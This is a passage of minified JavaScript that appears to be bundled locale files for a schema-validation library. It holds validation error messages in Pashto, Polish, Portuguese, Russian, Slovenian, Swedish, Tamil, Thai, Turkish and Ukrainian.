A={string:{unit:"توکي",verb:"ولري"},file:{unit:"بایټس",verb:"ولري"},array:{unit:"توکي",verb:"ولري"},set:{unit:"توکي",verb:"ولري"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"عدد";case"object":{if(Array.isArray(z))return"ارې";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"ورودي",email:"بریښنالیک",url:"یو آر ال",emoji:"ایموجي",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"نیټه او وخت",date:"نېټه",time:"وخت",duration:"موده",ipv4:"د IPv4 پته",ipv6:"د IPv6 پته",cidrv4:"د IPv4 ساحه",cidrv6:"د IPv6 ساحه",base64:"base64-encoded متن",base64url:"base64url-encoded متن",json_string:"JSON متن",e164:"د E.164 شمېره",jwt:"JWT",template_literal:"ورودي"};return(z)=>{switch(z.code){case"invalid_type":return`ناسم ورودي: باید ${z.expected} وای, مګر ${q(z.input)} ترلاسه شو`;case"invalid_value":if(z.values.length===1)return`ناسم ورودي: باید ${B4(z.values[0])} وای`;return`ناسم انتخاب: باید یو له ${z8(z.values,"|")} څخه وای`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`ډیر لوی: ${z.origin??"ارزښت"} باید ${w}${z.maximum.toString()} ${H.unit??"عنصرونه"} ولري`;return`ډیر لوی: ${z.origin??"ارزښت"} باید ${w}${z.maximum.toString()} وي`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`ډیر کوچنی: ${z.origin} باید ${w}${z.minimum.toString()} ${H.unit} ولري`;return`ډیر کوچنی: ${z.origin} باید ${w}${z.minimum.toString()} وي`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`ناسم متن: باید د "${w.prefix}" سره پیل شي`;if(w.format==="ends_with")return`ناسم متن: باید د "${w.suffix}" سره پای ته ورسيږي`;if(w.format==="includes")return`ناسم متن: باید "${w.includes}" ولري`;if(w.format==="regex")return`ناسم متن: باید د ${w.pattern} سره مطابقت ولري`;return`${Y[w.format]??z.format} ناسم دی`}case"not_multiple_of":return`ناسم عدد: باید د ${z.divisor} مضرب وي`;case"unrecognized_keys":return`ناسم ${z.keys.length>1?"کلیډونه":"کلیډ"}: ${z8(z.keys,", ")}`;case"invalid_key":return`ناسم کلیډ په ${z.origin} کې`;case"invalid_union":return"ناسمه ورودي";case"invalid_element":return`ناسم عنصر په ${z.origin} کې`;default:return"ناسمه ورودي"}}};var xL8=k(()=>{Qq()});function xQ1(){return{localeError:Oq5()}}var Oq5=()=>{let A={string:{unit:"znaków",verb:"mieć"},file:{unit:"bajtów",verb:"mieć"},array:{unit:"elementów",verb:"mieć"},set:{unit:"elementów",verb:"mieć"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"liczba";case"object":{if(Array.isArray(z))return"tablica";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"wyrażenie",email:"adres email",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"data i godzina w formacie ISO",date:"data w formacie ISO",time:"godzina w formacie ISO",duration:"czas trwania ISO",ipv4:"adres IPv4",ipv6:"adres IPv6",cidrv4:"zakres IPv4",cidrv6:"zakres IPv6",base64:"ciąg znaków zakodowany w formacie base64",base64url:"ciąg znaków zakodowany w formacie base64url",json_string:"ciąg znaków w formacie JSON",e164:"liczba E.164",jwt:"JWT",template_literal:"wejście"};return(z)=>{switch(z.code){case"invalid_type":return`Nieprawidłowe dane wejściowe: oczekiwano ${z.expected}, otrzymano ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Nieprawidłowe dane wejściowe: oczekiwano ${B4(z.values[0])}`;return`Nieprawidłowa opcja: oczekiwano jednej z wartości ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Za duża wartość: oczekiwano, że ${z.origin??"wartość"} będzie mieć ${w}${z.maximum.toString()} ${H.unit??"elementów"}`;return`Zbyt duż(y/a/e): oczekiwano, że ${z.origin??"wartość"} będzie wynosić ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Za mała wartość: oczekiwano, że ${z.origin??"wartość"} będzie mieć ${w}${z.minimum.toString()} ${H.unit??"elementów"}`;return`Zbyt mał(y/a/e): oczekiwano, że ${z.origin??"wartość"} będzie wynosić ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Nieprawidłowy ciąg znaków: musi zaczynać się od "${w.prefix}"`;if(w.format==="ends_with")return`Nieprawidłowy ciąg znaków: musi kończyć się na "${w.suffix}"`;if(w.format==="includes")return`Nieprawidłowy ciąg znaków: musi zawierać "${w.includes}"`;if(w.format==="regex")return`Nieprawidłowy ciąg znaków: musi odpowiadać wzorcowi ${w.pattern}`;return`Nieprawidłow(y/a/e) ${Y[w.format]??z.format}`}case"not_multiple_of":return`Nieprawidłowa liczba: musi być wielokrotnością ${z.divisor}`;case"unrecognized_keys":return`Nierozpoznane klucze${z.keys.length>1?"s":""}: ${z8(z.keys,", ")}`;case"invalid_key":return`Nieprawidłowy klucz w ${z.origin}`;case"invalid_union":return"Nieprawidłowe dane wejściowe";case"invalid_element":return`Nieprawidłowa wartość w ${z.origin}`;default:return"Nieprawidłowe dane wejściowe"}}};var uL8=k(()=>{Qq()});function uQ1(){return{localeError:Xq5()}}var Xq5=()=>{let A={string:{unit:"caracteres",verb:"ter"},file:{unit:"bytes",verb:"ter"},array:{unit:"itens",verb:"ter"},set:{unit:"itens",verb:"ter"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"número";case"object":{if(Array.isArray(z))return"array";if(z===null)return"nulo";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"padrão",email:"endereço de e-mail",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"data e hora ISO",date:"data ISO",time:"hora ISO",duration:"duração ISO",ipv4:"endereço IPv4",ipv6:"endereço IPv6",cidrv4:"faixa de IPv4",cidrv6:"faixa de IPv6",base64:"texto codificado em base64",base64url:"URL codificada em base64",json_string:"texto JSON",e164:"número E.164",jwt:"JWT",template_literal:"entrada"};return(z)=>{switch(z.code){case"invalid_type":return`Tipo inválido: esperado ${z.expected}, recebido ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Entrada inválida: esperado ${B4(z.values[0])}`;return`Opção inválida: esperada uma das ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Muito grande: esperado que ${z.origin??"valor"} tivesse ${w}${z.maximum.toString()} ${H.unit??"elementos"}`;return`Muito grande: esperado que ${z.origin??"valor"} fosse ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Muito pequeno: esperado que ${z.origin} tivesse ${w}${z.minimum.toString()} ${H.unit}`;return`Muito pequeno: esperado que ${z.origin} fosse ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Texto inválido: deve começar com "${w.prefix}"`;if(w.format==="ends_with")return`Texto inválido: deve terminar com "${w.suffix}"`;if(w.format==="includes")return`Texto inválido: deve incluir "${w.includes}"`;if(w.format==="regex")return`Texto inválido: deve corresponder ao padrão ${w.pattern}`;return`${Y[w.format]??z.format} inválido`}case"not_multiple_of":return`Número inválido: deve ser múltiplo de ${z.divisor}`;case"unrecognized_keys":return`Chave${z.keys.length>1?"s":""} desconhecida${z.keys.length>1?"s":""}: ${z8(z.keys,", ")}`;case"invalid_key":return`Chave inválida em ${z.origin}`;case"invalid_union":return"Entrada inválida";case"invalid_element":return`Valor inválido em ${z.origin}`;default:return"Campo inválido"}}};var BL8=k(()=>{Qq()});function mL8(A,K,q,Y){let z=Math.abs(A),w=z%10,H=z%100;if(H>=11&&H<=19)return Y;if(w===1)return K;if(w>=2&&w<=4)return q;return Y}function BQ1(){return{localeError:$q5()}}var $q5=()=>{let A={string:{unit:{one:"символ",few:"символа",many:"символов"},verb:"иметь"},file:{unit:{one:"байт",few:"байта",many:"байт"},verb:"иметь"},array:{unit:{one:"элемент",few:"элемента",many:"элементов"},verb:"иметь"},set:{unit:{one:"элемент",few:"элемента",many:"элементов"},verb:"иметь"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"число";case"object":{if(Array.isArray(z))return"массив";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"ввод",email:"email адрес",url:"URL",emoji:"эмодзи",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO дата и время",date:"ISO дата",time:"ISO время",duration:"ISO длительность",ipv4:"IPv4 адрес",ipv6:"IPv6 адрес",cidrv4:"IPv4 диапазон",cidrv6:"IPv6 диапазон",base64:"строка в формате base64",base64url:"строка в формате base64url",json_string:"JSON строка",e164:"номер E.164",jwt:"JWT",template_literal:"ввод"};return(z)=>{switch(z.code){case"invalid_type":return`Неверный ввод: ожидалось ${z.expected}, получено ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Неверный ввод: ожидалось ${B4(z.values[0])}`;return`Неверный вариант: ожидалось одно из ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H){let J=Number(z.maximum),O=mL8(J,H.unit.one,H.unit.few,H.unit.many);return`Слишком большое значение: ожидалось, что ${z.origin??"значение"} будет иметь ${w}${z.maximum.toString()} ${O}`}return`Слишком большое значение: ожидалось, что ${z.origin??"значение"} будет ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H){let J=Number(z.minimum),O=mL8(J,H.unit.one,H.unit.few,H.unit.many);return`Слишком маленькое значение: ожидалось, что ${z.origin} будет иметь ${w}${z.minimum.toString()} ${O}`}return`Слишком маленькое значение: ожидалось, что ${z.origin} будет ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Неверная строка: должна начинаться с "${w.prefix}"`;if(w.format==="ends_with")return`Неверная строка: должна заканчиваться на "${w.suffix}"`;if(w.format==="includes")return`Неверная строка: должна содержать "${w.includes}"`;if(w.format==="regex")return`Неверная строка: должна соответствовать шаблону ${w.pattern}`;return`Неверный ${Y[w.format]??z.format}`}case"not_multiple_of":return`Неверное число: должно быть кратным ${z.divisor}`;case"unrecognized_keys":return`Нераспознанн${z.keys.length>1?"ые":"ый"} ключ${z.keys.length>1?"и":""}: ${z8(z.keys,", ")}`;case"invalid_key":return`Неверный ключ в ${z.origin}`;case"invalid_union":return"Неверные входные данные";case"invalid_element":return`Неверное значение в ${z.origin}`;default:return"Неверные входные данные"}}};var gL8=k(()=>{Qq()});function mQ1(){return{localeError:_q5()}}var _q5=()=>{let A={string:{unit:"znakov",verb:"imeti"},file:{unit:"bajtov",verb:"imeti"},array:{unit:"elementov",verb:"imeti"},set:{unit:"elementov",verb:"imeti"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"število";case"object":{if(Array.isArray(z))return"tabela";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"vnos",email:"e-poštni naslov",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO datum in čas",date:"ISO datum",time:"ISO čas",duration:"ISO trajanje",ipv4:"IPv4 naslov",ipv6:"IPv6 naslov",cidrv4:"obseg IPv4",cidrv6:"obseg IPv6",base64:"base64 kodiran niz",base64url:"base64url kodiran niz",json_string:"JSON niz",e164:"E.164 številka",jwt:"JWT",template_literal:"vnos"};return(z)=>{switch(z.code){case"invalid_type":return`Neveljaven vnos: pričakovano ${z.expected}, prejeto ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Neveljaven vnos: pričakovano ${B4(z.values[0])}`;return`Neveljavna možnost: pričakovano eno izmed ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Preveliko: pričakovano, da bo ${z.origin??"vrednost"} imelo ${w}${z.maximum.toString()} ${H.unit??"elementov"}`;return`Preveliko: pričakovano, da bo ${z.origin??"vrednost"} ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Premajhno: pričakovano, da bo ${z.origin} imelo ${w}${z.minimum.toString()} ${H.unit}`;return`Premajhno: pričakovano, da bo ${z.origin} ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Neveljaven niz: mora se začeti z "${w.prefix}"`;if(w.format==="ends_with")return`Neveljaven niz: mora se končati z "${w.suffix}"`;if(w.format==="includes")return`Neveljaven niz: mora vsebovati "${w.includes}"`;if(w.format==="regex")return`Neveljaven niz: mora ustrezati vzorcu ${w.pattern}`;return`Neveljaven ${Y[w.format]??z.format}`}case"not_multiple_of":return`Neveljavno število: mora biti večkratnik ${z.divisor}`;case"unrecognized_keys":return`Neprepoznan${z.keys.length>1?"i ključi":" ključ"}: ${z8(z.keys,", ")}`;case"invalid_key":return`Neveljaven ključ v ${z.origin}`;case"invalid_union":return"Neveljaven vnos";case"invalid_element":return`Neveljavna vrednost v ${z.origin}`;default:return"Neveljaven vnos"}}};var FL8=k(()=>{Qq()});function gQ1(){return{localeError:Gq5()}}var Gq5=()=>{let A={string:{unit:"tecken",verb:"att ha"},file:{unit:"bytes",verb:"att ha"},array:{unit:"objekt",verb:"att innehålla"},set:{unit:"objekt",verb:"att innehålla"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"antal";case"object":{if(Array.isArray(z))return"lista";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"reguljärt uttryck",email:"e-postadress",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO-datum och tid",date:"ISO-datum",time:"ISO-tid",duration:"ISO-varaktighet",ipv4:"IPv4-intervall",ipv6:"IPv6-intervall",cidrv4:"IPv4-spektrum",cidrv6:"IPv6-spektrum",base64:"base64-kodad sträng",base64url:"base64url-kodad sträng",json_string:"JSON-sträng",e164:"E.164-nummer",jwt:"JWT",template_literal:"mall-literal"};return(z)=>{switch(z.code){case"invalid_type":return`Ogiltig inmatning: förväntat ${z.expected}, fick ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Ogiltig inmatning: förväntat ${B4(z.values[0])}`;return`Ogiltigt val: förväntade en av ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`För stor(t): förväntade ${z.origin??"värdet"} att ha ${w}${z.maximum.toString()} ${H.unit??"element"}`;return`För stor(t): förväntat ${z.origin??"värdet"} att ha ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`För lite(t): förväntade ${z.origin??"värdet"} att ha ${w}${z.minimum.toString()} ${H.unit}`;return`För lite(t): förväntade ${z.origin??"värdet"} att ha ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Ogiltig sträng: måste börja med "${w.prefix}"`;if(w.format==="ends_with")return`Ogiltig sträng: måste sluta med "${w.suffix}"`;if(w.format==="includes")return`Ogiltig sträng: måste innehålla "${w.includes}"`;if(w.format==="regex")return`Ogiltig sträng: måste matcha mönstret "${w.pattern}"`;return`Ogiltig(t) ${Y[w.format]??z.format}`}case"not_multiple_of":return`Ogiltigt tal: måste vara en multipel av ${z.divisor}`;case"unrecognized_keys":return`${z.keys.length>1?"Okända nycklar":"Okänd nyckel"}: ${z8(z.keys,", ")}`;case"invalid_key":return`Ogiltig nyckel i ${z.origin??"värdet"}`;case"invalid_union":return"Ogiltig input";case"invalid_element":return`Ogiltigt värde i ${z.origin??"värdet"}`;default:return"Ogiltig input"}}};var QL8=k(()=>{Qq()});function FQ1(){return{localeError:Zq5()}}var Zq5=()=>{let A={string:{unit:"எழுத்துக்கள்",verb:"கொண்டிருக்க வேண்டும்"},file:{unit:"பைட்டுகள்",verb:"கொண்டிருக்க வேண்டும்"},array:{unit:"உறுப்புகள்",verb:"கொண்டிருக்க வேண்டும்"},set:{unit:"உறுப்புகள்",verb:"கொண்டிருக்க வேண்டும்"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"எண் அல்லாதது":"எண்";case"object":{if(Array.isArray(z))return"அணி";if(z===null)return"வெறுமை";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"உள்ளீடு",email:"மின்னஞ்சல் முகவரி",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO தேதி நேரம்",date:"ISO தேதி",time:"ISO நேரம்",duration:"ISO கால அளவு",ipv4:"IPv4 முகவரி",ipv6:"IPv6 முகவரி",cidrv4:"IPv4 வரம்பு",cidrv6:"IPv6 வரம்பு",base64:"base64-encoded சரம்",base64url:"base64url-encoded சரம்",json_string:"JSON சரம்",e164:"E.164 எண்",jwt:"JWT",template_literal:"input"};return(z)=>{switch(z.code){case"invalid_type":return`தவறான உள்ளீடு: எதிர்பார்க்கப்பட்டது ${z.expected}, பெறப்பட்டது ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`தவறான உள்ளீடு: எதிர்பார்க்கப்பட்டது ${B4(z.values[0])}`;return`தவறான விருப்பம்: எதிர்பார்க்கப்பட்டது ${z8(z.values,"|")} இல் ஒன்று`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`மிக பெரியது: எதிர்பார்க்கப்பட்டது ${z.origin??"மதிப்பு"} ${w}${z.maximum.toString()} ${H.unit??"உறுப்புகள்"} ஆக இருக்க வேண்டும்`;return`மிக பெரியது: எதிர்பார்க்கப்பட்டது ${z.origin??"மதிப்பு"} ${w}${z.maximum.toString()} ஆக இருக்க வேண்டும்`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`மிகச் சிறியது: எதிர்பார்க்கப்பட்டது ${z.origin} ${w}${z.minimum.toString()} ${H.unit} ஆக இருக்க வேண்டும்`;return`மிகச் சிறியது: எதிர்பார்க்கப்பட்டது ${z.origin} ${w}${z.minimum.toString()} ஆக இருக்க வேண்டும்`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`தவறான சரம்: "${w.prefix}" இல் தொடங்க வேண்டும்`;if(w.format==="ends_with")return`தவறான சரம்: "${w.suffix}" இல் முடிவடைய வேண்டும்`;if(w.format==="includes")return`தவறான சரம்: "${w.includes}" ஐ உள்ளடக்க வேண்டும்`;if(w.format==="regex")return`தவறான சரம்: ${w.pattern} முறைபாட்டுடன் பொருந்த வேண்டும்`;return`தவறான ${Y[w.format]??z.format}`}case"not_multiple_of":return`தவறான எண்: ${z.divisor} இன் பலமாக இருக்க வேண்டும்`;case"unrecognized_keys":return`அடையாளம் தெரியாத விசை${z.keys.length>1?"கள்":""}: ${z8(z.keys,", ")}`;case"invalid_key":return`${z.origin} இல் தவறான விசை`;case"invalid_union":return"தவறான உள்ளீடு";case"invalid_element":return`${z.origin} இல் தவறான மதிப்பு`;default:return"தவறான உள்ளீடு"}}};var UL8=k(()=>{Qq()});function QQ1(){return{localeError:Wq5()}}var Wq5=()=>{let A={string:{unit:"ตัวอักษร",verb:"ควรมี"},file:{unit:"ไบต์",verb:"ควรมี"},array:{unit:"รายการ",verb:"ควรมี"},set:{unit:"รายการ",verb:"ควรมี"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"ไม่ใช่ตัวเลข (NaN)":"ตัวเลข";case"object":{if(Array.isArray(z))return"อาร์เรย์ (Array)";if(z===null)return"ไม่มีค่า (null)";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"ข้อมูลที่ป้อน",email:"ที่อยู่อีเมล",url:"URL",emoji:"อิโมจิ",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"วันที่เวลาแบบ ISO",date:"วันที่แบบ ISO",time:"เวลาแบบ ISO",duration:"ช่วงเวลาแบบ ISO",ipv4:"ที่อยู่ IPv4",ipv6:"ที่อยู่ IPv6",cidrv4:"ช่วง IP แบบ IPv4",cidrv6:"ช่วง IP แบบ IPv6",base64:"ข้อความแบบ Base64",base64url:"ข้อความแบบ Base64 สำหรับ URL",json_string:"ข้อความแบบ JSON",e164:"เบอร์โทรศัพท์ระหว่างประเทศ (E.164)",jwt:"โทเคน JWT",template_literal:"ข้อมูลที่ป้อน"};return(z)=>{switch(z.code){case"invalid_type":return`ประเภทข้อมูลไม่ถูกต้อง: ควรเป็น ${z.expected} แต่ได้รับ ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`ค่าไม่ถูกต้อง: ควรเป็น ${B4(z.values[0])}`;return`ตัวเลือกไม่ถูกต้อง: ควรเป็นหนึ่งใน ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"ไม่เกิน":"น้อยกว่า",H=K(z.origin);if(H)return`เกินกำหนด: ${z.origin??"ค่า"} ควรมี${w} ${z.maximum.toString()} ${H.unit??"รายการ"}`;return`เกินกำหนด: ${z.origin??"ค่า"} ควรมี${w} ${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?"อย่างน้อย":"มากกว่า",H=K(z.origin);if(H)return`น้อยกว่ากำหนด: ${z.origin} ควรมี${w} ${z.minimum.toString()} ${H.unit}`;return`น้อยกว่ากำหนด: ${z.origin} ควรมี${w} ${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`รูปแบบไม่ถูกต้อง: ข้อความต้องขึ้นต้นด้วย "${w.prefix}"`;if(w.format==="ends_with")return`รูปแบบไม่ถูกต้อง: ข้อความต้องลงท้ายด้วย "${w.suffix}"`;if(w.format==="includes")return`รูปแบบไม่ถูกต้อง: ข้อความต้องมี "${w.includes}" อยู่ในข้อความ`;if(w.format==="regex")return`รูปแบบไม่ถูกต้อง: ต้องตรงกับรูปแบบที่กำหนด ${w.pattern}`;return`รูปแบบไม่ถูกต้อง: ${Y[w.format]??z.format}`}case"not_multiple_of":return`ตัวเลขไม่ถูกต้อง: ต้องเป็นจำนวนที่หารด้วย ${z.divisor} ได้ลงตัว`;case"unrecognized_keys":return`พบคีย์ที่ไม่รู้จัก: ${z8(z.keys,", ")}`;case"invalid_key":return`คีย์ไม่ถูกต้องใน ${z.origin}`;case"invalid_union":return"ข้อมูลไม่ถูกต้อง: ไม่ตรงกับรูปแบบยูเนียนที่กำหนดไว้";case"invalid_element":return`ข้อมูลไม่ถูกต้องใน ${z.origin}`;default:return"ข้อมูลไม่ถูกต้อง"}}};var pL8=k(()=>{Qq()});function UQ1(){return{localeError:jq5()}}var Dq5=(A)=>{let K=typeof A;switch(K){case"number":return Number.isNaN(A)?"NaN":"number";case"object":{if(Array.isArray(A))return"array";if(A===null)return"null";if(Object.getPrototypeOf(A)!==Object.prototype&&A.constructor)return A.constructor.name}}return K},jq5=()=>{let A={string:{unit:"karakter",verb:"olmalı"},file:{unit:"bayt",verb:"olmalı"},array:{unit:"öğe",verb:"olmalı"},set:{unit:"öğe",verb:"olmalı"}};function K(Y){return A[Y]??null}let q={regex:"girdi",email:"e-posta adresi",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO tarih ve saat",date:"ISO tarih",time:"ISO saat",duration:"ISO süre",ipv4:"IPv4 adresi",ipv6:"IPv6 adresi",cidrv4:"IPv4 aralığı",cidrv6:"IPv6 aralığı",base64:"base64 ile şifrelenmiş metin",base64url:"base64url ile şifrelenmiş metin",json_string:"JSON dizesi",e164:"E.164 sayısı",jwt:"JWT",template_literal:"Şablon dizesi"};return(Y)=>{switch(Y.code){case"invalid_type":return`Geçersiz değer: beklenen ${Y.expected}, alınan ${Dq5(Y.input)}`;case"invalid_value":if(Y.values.length===1)return`Geçersiz değer: beklenen ${B4(Y.values[0])}`;return`Geçersiz seçenek: aşağıdakilerden biri olmalı: ${z8(Y.values,"|")}`;case"too_big":{let z=Y.inclusive?"<=":"<",w=K(Y.origin);if(w)return`Çok büyük: beklenen ${Y.origin??"değer"} ${z}${Y.maximum.toString()} ${w.unit??"öğe"}`;return`Çok büyük: beklenen ${Y.origin??"değer"} ${z}${Y.maximum.toString()}`}case"too_small":{let z=Y.inclusive?">=":">",w=K(Y.origin);if(w)return`Çok küçük: beklenen ${Y.origin} ${z}${Y.minimum.toString()} ${w.unit}`;return`Çok küçük: beklenen ${Y.origin} ${z}${Y.minimum.toString()}`}case"invalid_format":{let z=Y;if(z.format==="starts_with")return`Geçersiz metin: "${z.prefix}" ile başlamalı`;if(z.format==="ends_with")return`Geçersiz metin: "${z.suffix}" ile bitmeli`;if(z.format==="includes")return`Geçersiz metin: "${z.includes}" içermeli`;if(z.format==="regex")return`Geçersiz metin: ${z.pattern} desenine uymalı`;return`Geçersiz ${q[z.format]??Y.format}`}case"not_multiple_of":return`Geçersiz sayı: ${Y.divisor} ile tam bölünebilmeli`;case"unrecognized_keys":return`Tanınmayan anahtar${Y.keys.length>1?"lar":""}: ${z8(Y.keys,", ")}`;case"invalid_key":return`${Y.origin} içinde geçersiz anahtar`;case"invalid_union":return"Geçersiz değer";case"invalid_element":return`${Y.origin} içinde geçersiz değer`;default:return"Geçersiz değer"}}};var dL8=k(()=>{Qq()});function pQ1(){return{localeError:Mq5()}}var Mq5=()=>{let A={string:{unit:"символів",verb:"матиме"},file:{unit:"байтів",verb:"матиме"},array:{unit:"елементів",verb:"матиме"},set:{unit:"елементів",verb:"матиме"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"число";case"object":{if(Array.isArray(z))return"масив";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"вхідні дані",email:"адреса електронної пошти",url:"URL",emoji:"емодзі",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"дата та час ISO",date:"дата ISO",time:"час ISO",duration:"тривалість ISO",ipv4:"адреса IPv4",ipv6:"адреса IPv6",cidrv4:"діапазон IPv4",cidrv6:"діапазон IPv6",base64:"рядок у кодуванні base64",base64url:"рядок у кодуванні base64url",json_string:"рядок JSON",e164:"номер E.164",jwt:"JWT",template_literal:"вхідні дані"};return(z)=>{switch(z.code){case"invalid_type":return`Неправильні вхідні дані: очікується ${z.expected}, отримано ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Неправильні вхідні дані: очікується ${B4(z.values[0])}`;return`Неправильна опція: очікується одне з ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Занадто велике: очікується, що ${z.origin??"значення"} ${H.verb} ${w}${z.maximum.toString()} ${H.unit??"елементів"}`;return`Занадто велике: очікується, що ${z.origin??"значення"} буде ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Занадто мале: очікується, що ${z.origin} ${H.verb} ${w}${z.minimum.toString()} ${H.unit}`;return`Занадто мале: очікується, що ${z.origin} буде ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Неправильний рядок: повинен починатися з "${w.prefix}"`;if(w.format==="ends_with")return`Неправильний рядок: повинен закінчуватися на "${w.suffix}"`;if(w.format==="includes")return`Неправильний рядок: повинен містити "${w.includes}"`;if(w.format==="regex")return`Неправильний рядок: повинен відповідати шаблону ${w.pattern}`;return`Неправильний ${Y[w.format]??z.format}`}case"not_multiple_of":return`Неправильне число: повинно бути кратним 